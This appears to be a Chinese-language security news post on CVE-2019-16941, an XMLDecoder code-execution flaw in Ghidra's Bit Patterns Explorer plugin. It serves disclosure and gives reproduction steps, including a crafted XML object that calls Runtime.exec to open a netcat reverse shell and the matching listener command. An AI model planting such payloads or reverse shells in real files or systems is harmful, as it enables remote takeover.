Ghidra是由美国国家安全局(NSA)研究部门开发的软件逆向工程(SRE)套件,用于支持网络安全任务。Ghidra是一个软件逆向工程(SRE)框架,包括一套功能齐全的高端软件分析工具,使用户能够在各种平台上分析编译后的代码,包括Windows、Mac OS和Linux。功能包括反汇编,汇编,反编译,绘图和脚本,以及数百个其他功能。Ghidra支持各种处理器指令集和可执行格式,可以在用户交互模式和自动模式下运行。用户还可以使用公开的API开发自己的Ghidra插件和脚本。
https://ghidra-sre.org/ghidra_9.0_PUBLIC_20190228.zip
https://github.com/NationalSecurityAgency/ghidra
周六,安全研究人员报告了一个影响Ghidra的中危漏洞,根据NIST漏洞数据库的描述,攻击者利用该漏洞可以远程入侵暴露的系统。该漏洞CVE编号为CVE-2019-16941,目前还没有关于该漏洞的补丁。
漏洞位于Features/BytePatterns/src/main/java/ghidra/bitpatterns/info/FileBitPatternInfoReader.java的XMLDecoder,会引发Bit Patterns Explorer插件的远程代码执行。在启用了experimental mode(实验模式)的Ghidra中,如果Bit Patterns Explorer的Read XML Files特征使用修改的XML文件,就会导致任意代码执行。漏洞的利用需要攻击者通过插件和正常的项目外的加载进程来加载恶意伪造的XML文件(由DumpFunctionPatternInfoScript创建但是被攻击者修改的XML文件,比如调用java.lang.Runtime.exec call)。
复现该漏洞的步骤如下:
1: 用CodeBrowser打开二进制文件
2. 在Window->Script Manager中选择"DumpFunctionPatternInfoScript"
3. 导出得到的XML文件
4. 在文件末尾的最后一个object闭合标签之后,</java>闭合标签之前加上以下内容:
<object class="java.lang.Runtime" method="getRuntime"> <void method="exec"> <string>nc 127.0.0.1 1337 -c ’/bin/bash’</string> </void> </object>
5. 用命令nc -lvnp 1337打开本地监听服务器
6. 在Window->Function Bit Patterns Explorer中用File->Configure…启用实验模式
7. 在打开的插件窗口中,点击Read XML Files,指向XML保存到目录并点击OK
8. 返回监听器,查看打开的shell
事实上,在运行该插件时,是不应该执行xml文件中的代码的。
根据NSA Ghidra项目github的消息,目前补丁正在开发中。
https://github.com/NationalSecurityAgency/ghidra/issues/1090
这也并非首次在Ghidra中发现漏洞。今年3月,安全研究人员发布了攻击Ghidra v9.0及更低版本的XML外部实体(XXE)漏洞。7月,研究人员发现了一个高危的路径提取漏洞CVE-2019-13623。